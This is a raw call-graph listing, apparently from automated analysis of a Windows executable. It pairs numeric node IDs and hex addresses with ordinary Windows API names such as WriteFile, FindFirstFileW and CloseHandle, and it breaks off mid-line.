101908 515668 101913 515686 LeaveCriticalSection LeaveCriticalSection 101908->101913 101910->101905 101911->101900 101912->101908 101913->101900 101917 51520a GetSystemTimeAsFileTime 101914->101917 101916 558f6e 101916->101685 101918 515238 101917->101918 101918->101916 101920 515c6c 101919->101920 101921 515c93 101920->101921 101922 515c7e 101920->101922 101924 516c11 59 API calls 101921->101924 101933 518b28 58 API calls 101922->101933 101926 515c99 101924->101926 101925 515c83 101934 518db6 9 API calls 101925->101934 101935 5158d0 67 API calls 101926->101935 101929 515ca4 101936 515cc4 LeaveCriticalSection LeaveCriticalSection 101929->101936 101931 515cb6 101932 515c8e 101931->101932 101932->101690 101933->101925 101934->101932 101935->101929 101936->101931 101937->101552 101938->101560 101939->101574 101940->101577 101941->101573 101942->101582 101944 4f9169 101943->101944 101945 52f19f 101944->101945 101949 4f9173 101944->101949 101946 510db6 59 API calls 101945->101946 101948 52f1ab 101946->101948 101947 4f917a 101947->101586 101949->101947 101951 4f9c90 59 API calls 101949->101951 101951->101949 101952->101596 101953->101597 101959 559748 101954->101959 101955 4f4f0b 74 API calls 101955->101959 101956 5595dc 101956->101603 101956->101604 101957 559109 GetSystemTimeAsFileTime 101957->101959 101958 4f4ee5 85 API calls 101958->101959 101959->101955 101959->101956 101959->101957 101959->101958 101960->101630 101962 5153b2 101961->101962 101963 5153c6 101962->101963 101964 5153de 101962->101964 101990 518b28 58 API calls 101963->101990 101966 516c11 59 API calls 101964->101966 101970 5153d6 101964->101970 101969 5153f0 101966->101969 101967 5153cb 101991 518db6 9 API calls 101967->101991 101974 51533a 101969->101974 101970->101634 101975 515349 101974->101975 101976 51535d 101974->101976 102036 518b28 58 API calls 101975->102036 101983 515359 101976->101983 101993 514a3d 101976->101993 101978 51534e 102037 518db6 9 API calls 101978->102037 101992 515415 LeaveCriticalSection LeaveCriticalSection 101983->101992 101986 515377 102010 520a02 101986->102010 101988 51537d 101988->101983 101989 512d55 58 API calls 101988->101989 101989->101983 101990->101967 101991->101970 101992->101970 101994 514a50 101993->101994 101995 514a74 101993->101995 101994->101995 101996 5146e6 58 API calls 101994->101996 101999 520b77 101995->101999 101997 514a6d 101996->101997 102038 51d886 101997->102038 102000 515371 101999->102000 102001 520b84 101999->102001 102003 5146e6 102000->102003 102001->102000 102002 512d55 58 API calls 102001->102002 102002->102000 102004 5146f0 102003->102004 102005 514705 102003->102005 102173 518b28 58 API calls 102004->102173 102005->101986 102007 5146f5 102174 518db6 9 API calls 102007->102174 102009 514700 102009->101986 102011 520a0e 102010->102011 102012 520a32 102011->102012 102013 520a1b 102011->102013 102014 520abd 102012->102014 102016 520a42 102012->102016 102190 518af4 58 API calls 102013->102190 102195 518af4 58 API calls 102014->102195 102019 520a60 102016->102019 102020 520a6a 102016->102020 102018 520a20 102191 518b28 58 API calls 102018->102191 102192 518af4 58 API calls 102019->102192 102024 51d206 59 API calls 102020->102024 102021 520a65 102196 518b28 58 API calls 102021->102196 102026 520a70 102024->102026 102028 520a83 102026->102028 102029 520a8e 102026->102029 102027 520ac9 102197 518db6 9 API calls 102027->102197 102175 520add 102028->102175 102193 518b28 58 API calls 102029->102193 102032 520a27 102032->101988 102034 520a89 102194 520ab5 LeaveCriticalSection 102034->102194 102036->101978 102037->101983 102039 51d892 102038->102039 102040 51d8b6 102039->102040 102041 51d89f 102039->102041 102043 51d955 102040->102043 102045 51d8ca 102040->102045 102139 518af4 58 API calls 102041->102139 102145 518af4 58 API calls 102043->102145 102044 51d8a4 102140 518b28 58 API calls 102044->102140 102049 51d8f2 102045->102049 102050 51d8e8 102045->102050 102047 51d8ed 102146 518b28 58 API calls 102047->102146 102066 51d206 102049->102066 102141 518af4 58 API calls 102050->102141 102054 51d8f8 102056 51d90b 102054->102056 102057 51d91e 102054->102057 102055 51d961 102147 518db6 9 API calls 102055->102147 102075 51d975 102056->102075 102142 518b28 58 API calls 102057->102142 102061 51d8ab 102061->101995 102062 51d917 102144 51d94d LeaveCriticalSection 102062->102144 102063 51d923 102143 518af4 58 API calls 102063->102143 102068 51d212 102066->102068 102067 51d261 EnterCriticalSection 102070 51d287 102067->102070 102068->102067 102069 519c0b 58 API calls 102068->102069 102071 51d237 102069->102071 102070->102054 102072 51d24f 102071->102072 102148 519e2b InitializeCriticalSectionAndSpinCount 102071->102148 102149 51d28b LeaveCriticalSection 102072->102149 102076 51d982 102075->102076 102077 51d9c1 102076->102077 102078 51d9e0 102076->102078 102106 51d9b6 102076->102106 102159 518af4 58 API calls 102077->102159 102081 51da38 102078->102081 102082 51da1c 102078->102082 102079 51c5f6 6 API calls 102083 51e1d6 102079->102083 102085 51da51 102081->102085 102165 5218c1 60 API calls 102081->102165 102162 518af4 58 API calls 102082->102162 102083->102062 102084 51d9c6 102160 518b28 58 API calls 102084->102160 102150 525c6b 102085->102150 102089 51d9cd 102161 518db6 9 API calls 102089->102161 102091 51da21 102163 518b28 58 API calls 102091->102163 102093 51da5f 102095 51ddb8 102093->102095 102166 5199ac 58 API calls 102093->102166 102097 51ddd6 102095->102097 102098 51e14b WriteFile 102095->102098 102096 51da28 102164 518db6 9 API calls 102096->102164 102101 51defa 102097->102101 102110 51ddec 102097->102110 102102 51ddab GetLastError 102098->102102 102108 51dd78 102098->102108 102112 51df05 102101->102112 102116 51dfef 102101->102116 102102->102108 102103 51da8b GetConsoleMode 102103->102095 102105 51daca 102103->102105 102104 51e184 102104->102106 102171 518b28 58 API calls 102104->102171 102105->102095 102109 51dada GetConsoleCP 102105->102109 102106->102079 102108->102104 102108->102106 102115 51ded8 102108->102115 102109->102104 102132 51db09 102109->102132 102110->102104 102111 51de5b WriteFile 102110->102111 102111->102102 102113 51de98 102111->102113 102112->102104 102117 51df6a WriteFile 102112->102117 102113->102110 102118 51debc 102113->102118 102114 51e1b2 102172 518af4 58 API calls 102114->102172 102120 51dee3 102115->102120 102121 51e17b 102115->102121 102116->102104 102122 51e064 WideCharToMultiByte 102116->102122 102117->102102 102123 51dfb9 102117->102123 102118->102108 102168 518b28 58 API calls 102120->102168 102170 518b07 58 API calls 102121->102170 102122->102102 102131 51e0ab 102122->102131 102123->102108 102123->102112 102123->102118 102126 51e0b3 WriteFile 102129 51e106 GetLastError 102126->102129 102126->102131 102127 51dee8 102169 518af4 58 API calls 102127->102169 102129->102131 102131->102108 102131->102116 102131->102118 102131->102126 102132->102108 102133 5262ba 60 API calls 102132->102133 102134 51dbf2 WideCharToMultiByte 102132->102134 102137 51dc5f 102132->102137 102167 5135f5 58 API calls 102132->102167 102133->102132 102134->102108 102135 51dc2d WriteFile 102134->102135 102135->102102 102135->102137 102136 527a5e WriteConsoleW CreateFileW 102136->102137 102137->102102 102137->102108 102137->102132 102137->102136 102138 51dc87 WriteFile 102137->102138 102138->102102 102138->102137 102139->102044 102140->102061 102141->102047 102142->102063 102143->102062 102144->102061 102145->102047 102146->102055 102147->102061 102148->102072 102149->102067 102151 525c83 102150->102151 102152 525c76 102150->102152 102155 525c8f 102151->102155 102156 518b28 58 API calls 102151->102156 102153 518b28 58 API calls 102152->102153 102154 525c7b 102153->102154 102154->102093 102155->102093 102157 525cb0 102156->102157 102158 518db6 9 API calls 102157->102158 102158->102154 102159->102084 102160->102089 102161->102106 102162->102091 102163->102096 102164->102106 102165->102085 102166->102103 102167->102132 102168->102127 102169->102106 102170->102106 102171->102114 102172->102106 102173->102007 102174->102009 102198 51d4c3 102175->102198 102177 520b41 102211 51d43d 59 API calls 102177->102211 102179 520aeb 102179->102177 102180 51d4c3 58 API calls 102179->102180 102189 520b1f 102179->102189 102184 520b16 102180->102184 102181 51d4c3 58 API calls 102185 520b2b CloseHandle 102181->102185 102182 520b6b 102182->102034 102183 520b49 102183->102182 102212 518b07 58 API calls 102183->102212 102187 51d4c3 58 API calls 102184->102187 102185->102177 102188 520b37 GetLastError 102185->102188 102187->102189 102188->102177 102189->102177 102189->102181 102190->102018 102191->102032 102192->102021 102193->102034 102194->102032 102195->102021 102196->102027 102197->102032 102199 51d4ce 102198->102199 102201 51d4e3 102198->102201 102213 518af4 58 API calls 102199->102213 102205 51d508 102201->102205 102215 518af4 58 API calls 102201->102215 102202 51d4d3 102214 518b28 58 API calls 102202->102214 102205->102179 102206 51d512 102216 518b28 58 API calls 102206->102216 102207 51d4db 102207->102179 102209 51d51a 102217 518db6 9 API calls 102209->102217 102211->102183 102212->102182 102213->102202 102214->102207 102215->102206 102216->102209 102217->102207 102219 521940 102218->102219 102220 51079e GetLongPathNameW 102219->102220 102221 4f7bcc 59 API calls 102220->102221 102222 4f72bd 102221->102222 102223 4f700b 102222->102223 102224 4f7667 59 API calls 102223->102224 102225 4f701d 102224->102225 102226 4f4750 60 API calls 102225->102226 102227 4f7028 102226->102227 102228 4f7033 102227->102228 102231 52e885 102227->102231 102230 4f3f74 59 API calls 102228->102230 102232 4f703f 102230->102232 102233 52e89f 102231->102233 102276 4f7908 61 API calls 102231->102276 102270 4f34c2 102232->102270 102235 4f7052 102235->101386 102237 4f4ddd 136 API calls 102236->102237 102238 4f688f 102237->102238 102239 52e031 102238->102239 102241 4f4ddd 136 API calls 102238->102241 102240 55955b 122 API calls 102239->102240 102242 52e046 102240->102242 102243 4f68a3 102241->102243 102244 52e067 102242->102244 102245 52e04a 102242->102245 102243->102239 102246 4f68ab 102243->102246 102248 510db6 59 API calls 102244->102248 102247 4f4e4a 84 API calls 102245->102247 102249 52e052 102246->102249 102250 4f68b7 102246->102250 102247->102249 102259 52e0ac 102248->102259 102384 5542f8 90 API calls 102249->102384 102277 4f6a8c 102250->102277 102254 52e060 102254->102244 102255 52e260 102256 512d55 58 API calls 102255->102256 102257 52e268 102256->102257 102258 4f4e4a 84 API calls 102257->102258 102264 52e271 102258->102264 102259->102255 102259->102264 102267 4f7de1 59 API calls 102259->102267 102370 4f750f 102259->102370 102378 4f735d 102259->102378 102385 54f73d 59 API calls 102259->102385 102386 54f65e 61 API calls 102259->102386 102387 55737f 59 API calls 102259->102387 102263 512d55 58 API calls 102263->102264 102264->102263 102265 4f4e4a 84 API calls 102264->102265 102388 54f7a1 89 API calls 102264->102388 102265->102264 102267->102259 102271 4f34d4 102270->102271 102275 4f34f3 102270->102275 102273 510db6 59 API calls 102271->102273 102272 510db6 59 API calls 102274 4f350a 102272->102274 102273->102275 102274->102235 102275->102272 102276->102231 102278 4f6ab5 102277->102278 102279 52e41e 102277->102279 102394 4f57a6 60 API calls 102278->102394 102461 54f7a1 89 API calls 102279->102461 102282 4f6ad7 102395 4f57f6 67 API calls 102282->102395 102283 52e431 102462 54f7a1 89 API calls 102283->102462 102285 4f6aec 102285->102283 102286 4f6af4 102285->102286 102289 4f7667 59 API calls 102286->102289 102288 52e44d 102291 4f6b61 102288->102291 102290 4f6b00 102289->102290 102396 510957 60 API calls 102290->102396 102293 4f6b6f 102291->102293 102294 52e460 102291->102294 102297 4f7667 59 API calls 102293->102297 102296 4f5c6f CloseHandle 102294->102296 102295 4f6b0c 102298 4f7667 59 API calls 102295->102298 102299 52e46c 102296->102299 102300 4f6b78 102297->102300 102301 4f6b18 102298->102301 102303 4f4ddd 136 API calls 102299->102303 102304 4f7667 59 API calls 102300->102304 102302 4f4750 60 API calls 102301->102302 102305 4f6b26 102302->102305 102306 52e488 102303->102306 102307 4f6b81 102304->102307 102397 4f5850 ReadFile SetFilePointerEx 102305->102397 102309 52e4b1 102306->102309 102312 55955b 122 API calls 102306->102312 102399 4f459b 102307->102399 102463 54f7a1 89 API calls 102309->102463 102311 4f6b52 102398 4f5aee SetFilePointerEx SetFilePointerEx 102311->102398 102316 52e4a4 102312->102316 102313 4f6b98 102317 4f7b2e 59 API calls 102313->102317 102319 52e4ac 102316->102319 102320 52e4cd 102316->102320 102321 4f6ba9 SetCurrentDirectoryW 102317->102321 102318 52e4c8 102325 4f6d0c 102318->102325 102323 4f4e4a 84 API calls 102319->102323 102322 4f4e4a 84 API calls 102320->102322 102327 4f6bbc 102321->102327 102324 52e4d2 102322->102324 102323->102309 102326 510db6 59 API calls 102324->102326 102389 4f57d4 102325->102389 102333 52e506 102326->102333 102329 510db6 59 API calls 102327->102329 102331 4f6bcf 102329->102331 102330 4f3bbb 102330->101245 102330->101254 102332 4f522e 59 API calls 102331->102332 102359 4f6bda 102332->102359 102334 4f750f 59 API calls 102333->102334 102367 52e54f 102334->102367 102335 4f6ce7 102457 4f5c6f 102335->102457 102338 52e740 102468 5572df 59 API calls 102338->102468 102339 4f6cf3 SetCurrentDirectoryW 102339->102325 102342 52e762 102469 56fbce 59 API calls 102342->102469 102345 52e76f 102347 512d55 58 API calls 102345->102347 102346 52e7d9 102472 54f7a1 89 API calls 102346->102472 102347->102325 102350 4f750f 59 API calls 102350->102367 102351 52e7f2 102351->102335 102353 52e7d1 102471 54f5f7 59 API calls 102353->102471 102356 4f7de1 59 API calls 102356->102359 102359->102335 102359->102346 102359->102353 102359->102356 102450 4f586d 67 API calls 102359->102450 102451 4f6f5d GetStringTypeW 102359->102451 102452 4f6ecc 60 API calls 102359->102452 102453 4f6faa GetStringTypeW 102359->102453 102454 51363d GetStringTypeW 102359->102454 102455 4f68dc 165 API calls 102359->102455 102456 4f7213 59 API calls 102359->102456 102360 4f7de1 59 API calls 102360->102367 102364 52e792 102470 54f7a1 89 API calls 102364->102470 102366 52e7ab 102368 512d55 58 API calls 102366->102368 102367->102338 102367->102350 102367->102360 102367->102364 102464 54f73d 59 API calls 102367->102464 102465 54f65e 61 API calls 102367->102465 102466 55737f 59 API calls 102367->102466 102467 4f7213 59 API calls 102367->102467 102369 52e7be 102368->102369 102369->102325 102371 4f75af 102370->102371 102377 4f7522 102370->102377 102373 510db6 59 API calls 102371->102373 102372 510db6 59 API calls 102374 4f7529 102372->102374 102373->102377 102375 4f7552 102374->102375 102376 510db6 59 API calls 102374->102376 102375->102259 102376->102375 102377->102372 102379 4f7370 102378->102379 102381 4f741e 102378->102381 102380 510db6 59 API calls 102379->102380 102383 4f73a2 102379->102383 102380->102383 102381->102259 102382 510db6 59 API calls 102382->102383 102383->102381 102383->102382 102384->102254 102385->102259 102386->102259 102387->102259 102388->102264 102390 4f5c6f CloseHandle 102389->102390 102391 4f57dc 102390->102391 102392 4f5c6f CloseHandle 102391->102392 102393 4f57eb 102392->102393 102393->102330 102394->102282 102395->102285 102396->102295 102397->102311 102398->102291 102400 4f7667 59 API calls 102399->102400 102401 4f45b1 102400->102401 102402 4f7667 59 API calls 102401->102402 102403 4f45b9 102402->102403 102404 4f7667 59 API calls 102403->102404 102405 4f45c1 102404->102405 102406 4f7667 59 API calls 102405->102406 102407 4f45c9 102406->102407 102408 52d4d2 102407->102408 102409 4f45fd 102407->102409 102410 4f8047 59 API calls 102408->102410 102411 4f784b 59 API calls 102409->102411 102412 52d4db 102410->102412 102413 4f460b 102411->102413 102414 4f7d8c 59 API calls 102412->102414 102415 4f7d2c 59 API calls 102413->102415 102417 4f4640 102414->102417 102416 4f4615 102415->102416 102416->102417 102418 4f784b 59 API calls 102416->102418 102419 4f4680 102417->102419 102421 4f465f 102417->102421 102432 52d4fb 102417->102432 102422 4f4636 102418->102422 102473 4f784b 102419->102473 102426 4f79f2 59 API calls 102421->102426 102425 4f7d2c 59 API calls 102422->102425 102423 4f4691 102427 4f46a3 102423->102427 102430 4f8047 59 API calls 102423->102430 102424 52d5cb 102428 4f7bcc 59 API calls 102424->102428 102425->102417 102429 4f4669 102426->102429 102431 4f46b3 102427->102431 102433 4f8047 59 API calls 102427->102433 102440 52d588 102428->102440 102429->102419 102436 4f784b 59 API calls 102429->102436 102430->102427 102435 4f46ba 102431->102435 102437 4f8047 59 API calls 102431->102437 102432->102424 102434 52d5b4 102432->102434 102447 52d532 102432->102447 102433->102431 102434->102424 102442 52d59f 102434->102442 102438 4f46c1 102435->102438 102439 4f8047 59 API calls 102435->102439 102436->102419 102437->102435 102438->102313 102439->102438 102440->102419 102441 4f79f2 59 API calls 102440->102441 102486 4f7924 59 API calls 102440->102486 102441->102440 102445 4f7bcc 59 API calls 102442->102445 102443 52d590 102444 4f7bcc 59 API calls 102443->102444 102444->102440 102445->102440 102447->102443 102448 52d57b 102447->102448 102449 4f7bcc 59 API calls 102448->102449 102449->102440 102450->102359 102451->102359 102452->102359 102453->102359 102454->102359 102455->102359 102456->102359 102458 4f5c79 102457->102458 102459 4f5c88 102457->102459 102458->102339 102459->102458 102460 4f5c8d CloseHandle 102459->102460 102460->102458 102461->102283 102462->102288 102463->102318 102464->102367 102465->102367 102466->102367 102467->102367 102468->102342 102469->102345 102470->102366 102471->102346 102472->102351 102474 4f785a 102473->102474 102475 4f78b7 102473->102475 102474->102475 102476 4f7865 102474->102476 102477 4f7d2c 59 API calls 102475->102477 102478 52eb09 102476->102478 102479 4f7880 102476->102479 102483 4f7888 102477->102483 102480 4f8029 59 API calls 102478->102480 102487 4f7f27 59 API calls 102479->102487 102482 52eb13 102480->102482 102484 510db6 59 API calls 102482->102484 102483->102423 102485 52eb33 102484->102485 102486->102440 102487->102483 102489 4f6ea9 102488->102489 102490 4f6d95 102488->102490 102489->101392 102490->102489 102491 510db6 59 API calls 102490->102491 102493 4f6dbc 102491->102493 102492 510db6 59 API calls 102498 4f6e31 102492->102498 102493->102492 102496 4f735d 59 API calls 102496->102498 102497 4f750f 59 API calls 102497->102498 102498->102489 102498->102496 102498->102497 102501 4f6240 102498->102501 102526 546553 59 API calls 102498->102526 102499->101395 102500->101397 102527 4f7a16 102501->102527 102503 4f646a 102504 4f750f 59 API calls 102503->102504 102505 4f6484 102504->102505 102505->102498 102508 4f750f 59 API calls 102520 4f6265 102508->102520 102509 52dff6 102536 54f8aa 91 API calls 102509->102536 102510 4f7d8c 59 API calls 102510->102520 102514 52e004 102515 4f750f 59 API calls 102514->102515 102516 52e01a 102515->102516 102516->102505 102517 4f6799 102537 54f8aa 91 API calls 102517->102537 102518 52df92 102519 4f8029 59 API calls 102518->102519 102521 52df9d 102519->102521 102520->102503 102520->102508 102520->102509 102520->102510 102520->102517 102520->102518 102523 4f7e4f 59 API calls 102520->102523 102532 4f5f6c 60 API calls 102520->102532 102533 4f5d41 59 API calls 102520->102533 102534 4f5e72 60 API calls 102520->102534 102535 4f7924 59 API calls 102520->102535 102525 510db6 59 API calls 102521->102525 102524 4f643b CharUpperBuffW 102523->102524 102524->102520 102525->102517 102526->102498 102528 510db6 59 API calls 102527->102528 102529 4f7a3b 102528->102529 102530 4f8029 59 API calls 102529->102530 102531 4f7a4a 102530->102531 102531->102520 102532->102520 102533->102520 102534->102520 102535->102520 102536->102514 102537->102505 102538->101410 102539->101411 102541 52d423 102540->102541 102542 4f4196 102540->102542 102541->102542 102543 52d42c DestroyIcon 102541->102543 102542->101417 102566 552f94 62 API calls 102542->102566 102543->102542 102545 4f4098 102544->102545 102565 4f416f 102544->102565 102546 4f7a16 59 API calls 102545->102546 102547 4f40a6 102546->102547 102548 52d3c8 LoadStringW 102547->102548 102549 4f40b3 102547->102549 102552 52d3e2 102548->102552 102550 4f7bcc 59 API calls 102549->102550 102551 4f40c8 102550->102551 102551->102552 102553 4f40d9 102551->102553 102554 4f7b2e 59 API calls 102552->102554 102555 4f4174 102553->102555 102556 4f40e3 102553->102556 102559 52d3ec 102554->102559 102557 4f8047 59 API calls 102555->102557 102558 4f7b2e 59 API calls 102556->102558 102562 4f40ed 102557->102562 102558->102562 102560 4f7cab 59 API calls 102559->102560 102559->102562 102561 52d40e 102560->102561 102563 4f7cab 59 API calls 102561->102563 102564 4f4155 Shell_NotifyIconW 102562->102564 102563->102562 102564->102565 102565->101423 102566->101417 102568 4fe6d5 102567->102568 102569 533aa9 102568->102569 102572 4fe73f 102568->102572 102576 4fe799 102568->102576 102736 4f9ea0 102569->102736 102571 533abe 102597 4fe970 102571->102597 102760 559e4a 89 API calls 102571->102760 102575 4f7667 59 API calls 102572->102575 102572->102576 102573 4f7667 59 API calls 102573->102576 102577 533b04 102575->102577 102576->102573 102578 512d40 67 API calls 102576->102578 102580 533b26 102576->102580 102582 4fe95a 102576->102582 102576->102597 102579 512d40 67 API calls 102577->102579 102578->102576 102579->102576 102580->101499 102581 4f84c0 69 API calls 102581->102597 102582->102597 102761 559e4a 89 API calls 102582->102761 102583 559e4a 89 API calls 102583->102597 102587 4f9ea0 331 API calls 102587->102597 102589 4f8d40 59 API calls 102589->102597 102593 4ff195 102765 559e4a 89 API calls 102593->102765 102595 533e25 102595->101499 102596 4fea78 102596->101499 102597->102581 102597->102583 102597->102587 102597->102589 102597->102593 102597->102596 102735 4f7f77 59 API calls 102597->102735 102762 546e8f 59 API calls 102597->102762 102763 56c5c3 331 API calls 102597->102763 102764 56b53c 331 API calls 102597->102764 102766 4f9c90 59 API calls 102597->102766 102767 5693c6 331 API calls 102597->102767 102599 4ff4ba 102598->102599 102600 4ff650 102598->102600 102601 4ff4c6 102599->102601 102602 53441e 102599->102602 102603 4f7de1 59 API calls 102600->102603 102866 4ff290 331 API calls 102601->102866 102868 56bc6b 331 API calls 102602->102868 102606 4ff58c 102603->102606 102774 553c37 102606->102774 102777 55cb7a 102606->102777 102857 56445a 102606->102857 102607 4ff4fd 102607->102606 102608 53442c 102607->102608 102609 4ff630 102607->102609 102608->102609 102869 559e4a 89 API calls 102608->102869 102609->101499 102612 4ff5e3 102612->102609 102867 4f9c90 59 API calls 102612->102867 103027 4f8180 102616->103027 102618 4ffd3d 102619 53472d 102618->102619 102664 5006f6 102618->102664 103032 4ff234 102618->103032 103049 559e4a 89 API calls 102619->103049 102623 534742 102624 53488d 102624->102623 102627 4ffe4c 102624->102627 103055 56a2d9 85 API calls 102624->103055 102625 4ffe3e 102625->102624 102625->102627 103053 5466ec 59 API calls 102625->103053 102626 500517 102634 510db6 59 API calls 102626->102634 102636 5348f9 102627->102636 102686 534b53 102627->102686 103036 4f837c 102627->103036 102628 5347d7 102628->102623 103051 559e4a 89 API calls 102628->103051 102631 510db6 59 API calls 102657 4ffdd3 102631->102657 102641 500545 102634->102641 102635 534848 103054 5460ef 59 API calls 102635->103054 102642 534917 102636->102642 103057 4f85c0 59 API calls 102636->103057 102640 534755 102640->102628 103050 4ff6a3 331 API calls 102640->103050 102653 510db6 59 API calls 102641->102653 102649 534928 102642->102649 103058 4f85c0 59 API calls 102642->103058 102643 4ffea4 102651 534ad6 102643->102651 102652 4fff32 102643->102652 102682 500179 102643->102682 102644 53486b 102647 4f9ea0 331 API calls 102644->102647 102645 5348b2 102645->102627 103056 5466ec 59 API calls 102645->103056 102647->102624 102649->102682 103059 5460ab 59 API calls 102649->103059 103064 559ae7 60 API calls 102651->103064 102656 510db6 59 API calls 102652->102656 102678 500106 102653->102678 102659 4fff39 102656->102659 102657->102623 102657->102625 102657->102626 102657->102631 102657->102640 102657->102641 102660 4f9ea0 331 API calls 102657->102660 102668 53480c 102657->102668 102662 5009d0 331 API calls 102659->102662 102659->102664 102660->102657 102661 4f9ea0 331 API calls 102663 534a87 102661->102663 102666 4fffb2 102662->102666 102663->102623 102670 4f84c0 69 API calls 102663->102670 103048 559e4a 89 API calls 102664->103048 102666->102641 102666->102664 102673 4fffe6 102666->102673 103052 559e4a 89 API calls 102668->103052 102672 534ab2 102670->102672 103063 559e4a 89 API calls 102672->103063 102677 4f8047 59 API calls 102673->102677 102679 500007 102673->102679 102677->102679 102678->102682 102695 500162 102678->102695 103047 4f9c90 59 API calls 102678->103047 102679->102664 102683 50004c 102679->102683 102684 534b24 102679->102684 102680 500398 102680->101499 102681 510db6 59 API calls 102681->102682 102682->102664 102682->102672 102682->102680 102682->102681 102689 534a1c 102682->102689 102694 534a4d 102682->102694 103045 4f8740 68 API calls 102682->103045 103046 4f8660 68 API calls 102682->103046 103060 555937 68 API calls 102682->103060 103061 4f89b3 69 API calls 102682->103061 103062 4f9d3c 60 API calls 102682->103062 102683->102664 102683->102686 102687 5000d8 102683->102687 103065 4f9d3c 60 API calls 102684->103065 102686->102623 103066 559e4a 89 API calls 102686->103066 103043 4f9d3c 60 API calls 102687->103043 102692 510db6 59 API calls 102689->102692 102690 5000eb 102690->102664 103044 4f82df 59 API calls 102690->103044 102692->102694 102694->102661 102695->101499 102696->101499 102697->101499 102698->101429 102699->101434 102700->101499 102701->101439 102702->101439 102703->101439 102704->101499 102705->101499 102706->101499 102708 4f9851 102707->102708 102717 4f984b 102707->102717 102709 4f9857 102708->102709 102710 4f9899 102708->102710 102711 52f5d3 102708->102711 102713 52f4da 102708->102713 102715 510db6 59 API calls 102709->102715 103069 513698 83 API calls 102710->103069 102711->102711 102718 510db6 59 API calls 102713->102718 102724 52f552 102713->102724 102716 4f9871 102715->102716 102716->102717 102719 4f7de1 59 API calls 102716->102719 102717->101499 102720 52f51f 102718->102720 102719->102717 102721 510db6 59 API calls 102720->102721 102722 52f545 102721->102722 102723 4f7de1 59 API calls 102722->102723 102722->102724 102723->102724 103070 513698 83 API calls 102724->103070 102725->101499 102726->101499 102727->101499 102728->101484 102729->101484 102730->101484 102731->101484 102732->101484 102733->101484 102734->101484 102735->102597 102737 4f9ebf 102736->102737 102757 4f9eed 102736->102757 102738 510db6 59 API calls 102737->102738 102738->102757 102739 4fb475 102740 4f8047 59 API calls 102739->102740 102751 4fa057 102740->102751 102741 510db6 59 API calls 102741->102757 102742 4fb47a 102743 5309e5 102742->102743 102744 530055 102742->102744 102773 559e4a 89 API calls 102743->102773 102770 559e4a 89 API calls 102744->102770 102745 4f7667 59 API calls 102745->102757 102746 4fa55a 102771 559e4a 89 API calls 102746->102771 102750 530064 102750->102571 102751->102571 102754 4f8047 59 API calls 102754->102757 102755 546e8f 59 API calls 102755->102757 102756 512d40 67 API calls 102756->102757 102757->102739 102757->102741 102757->102742 102757->102744 102757->102745 102757->102746 102757->102751 102757->102754 102757->102755 102757->102756 102758 5309d6 102757->102758 102768 4fc8c0 331 API calls 102757->102768 102769 4fb900 60 API calls 102757->102769 102772 559e4a 89 API calls 102758->102772 102760->102597 102761->102597 102762->102597 102763->102597 102764->102597 102765->102595 102766->102597 102767->102597 102768->102757 102769->102757 102770->102750 102771->102751 102772->102743 102773->102751 102870 55445a GetFileAttributesW 102774->102870 102778 4f7667 59 API calls 102777->102778 102779 55cbaf 102778->102779 102780 4f7667 59 API calls 102779->102780 102781 55cbb8 102780->102781 102782 55cbcc 102781->102782 102983 4f9b3c 59 API calls 102781->102983 102784 4f9837 84 API calls 102782->102784 102785 55cbe9 102784->102785 102786 55cd1a 102785->102786 102787 55cc0b 102785->102787 102788 55ccea 102785->102788 102786->102612 102790 4f9837 84 API calls 102787->102790 102789 4f4ddd 136 API calls 102788->102789 102794 55ccfe 102789->102794 102791 55cc17 102790->102791 102792 4f8047 59 API calls 102791->102792 102795 55cc23 102792->102795 102793 55cd16 102793->102786 102797 4f7667 59 API calls 102793->102797 102794->102793 102796 4f4ddd 136 API calls 102794->102796 102800 55cc37 102795->102800 102801 55cc69 102795->102801 102796->102793 102798 55cd4b 102797->102798 102799 4f7667 59 API calls 102798->102799 102802 55cd54 102799->102802 102803 4f8047 59 API calls 102800->102803 102804 4f9837 84 API calls 102801->102804 102805 4f7667 59 API calls 102802->102805 102807 55cc47 102803->102807 102808 55cc76 102804->102808 102806 55cd5d 102805->102806 102809 4f7667 59 API calls 102806->102809 102810 4f7cab 59 API calls 102807->102810 102811 4f8047 59 API calls 102808->102811 102813 55cd66 102809->102813 102814 55cc51 102810->102814 102812 55cc82 102811->102812 102984 554a31 GetFileAttributesW 102812->102984 102816 4f9837 84 API calls 102813->102816 102817 4f9837 84 API calls 102814->102817 102820 55cc5d 102817->102820 102818 55cc8b 102821 55cc9e 102818->102821 102824 4f79f2 59 API calls 102818->102824 102823 4f7b2e 59 API calls 102820->102823 102823->102801 102824->102821 102858 4f9837 84 API calls 102857->102858 102859 564494 102858->102859 102860 4f6240 94 API calls 102859->102860 102861 5644a4 102860->102861 102862 4f9ea0 331 API calls 102861->102862 102863 5644c9 102861->102863 102862->102863 102865 5644cd 102863->102865 103026 4f9a98 59 API calls 102863->103026 102865->102612 102866->102607 102867->102612 102868->102608 102869->102609 102871 553c3e 102870->102871 102872 554475 FindFirstFileW 102870->102872 102871->102612 102872->102871 102873 55448a FindClose 102872->102873 102873->102871 102983->102782 102984->102818 103026->102865 103028 4f818f 103027->103028 103031 4f81aa 103027->103031 103029 4f7e4f 59 API calls 103028->103029 103030 4f8197 CharUpperBuffW 103029->103030 103030->103031 103031->102618 103033 4ff251 103032->103033 103034 4ff272 103033->103034 103067 559e4a 89 API calls 103033->103067 103034->102657 103037 4f838d 103036->103037 103038 52edbd 103036->103038 103039 510db6 59 API calls 103037->103039 103040 4f8394 103039->103040 103041 4f83b5 103040->103041 103068 4f8634 59 API calls 103040->103068 103041->102636 103041->102643 103043->102690 103044->102678 103045->102682 103046->102682 103047->102678 103048->102619 103049->102623 103050->102628 103051->102623 103052->102623 103053->102635 103054->102644 103055->102645 103056->102645 103057->102642 103058->102649 103059->102682 103060->102682 103061->102682 103062->102682 103063->102623 103064->102673 103065->102686 103066->102623 103067->103034 103068->103041 103069->102709 103070->102711 103072 4f7a5f 103071->103072 103073 4f7a85 103071->103073 103072->103073 103074 510db6 59 API calls 103072->103074 103073->101510 103073->103073 103075 4f7ad4 103074->103075 103076 510db6 59 API calls 103075->103076 103076->103073 103077->101509 103078 558d0d 103079 558d20 103078->103079 103080 558d1a 103078->103080 103082 558d31 103079->103082 103084 512d55 58 API calls 103079->103084 103081 512d55 58 API calls 103080->103081 103081->103079 103083 558d43 103082->103083 103085 512d55 58 API calls 103082->103085 103084->103082 103085->103083 103086 4f1066 103091 4ff76f 103086->103091 103088 4f106c 103089 512d40 67 API calls 103088->103089 103090 4f1076 103089->103090 103092 4ff790 103091->103092 103124 50ff03 103092->103124 103096 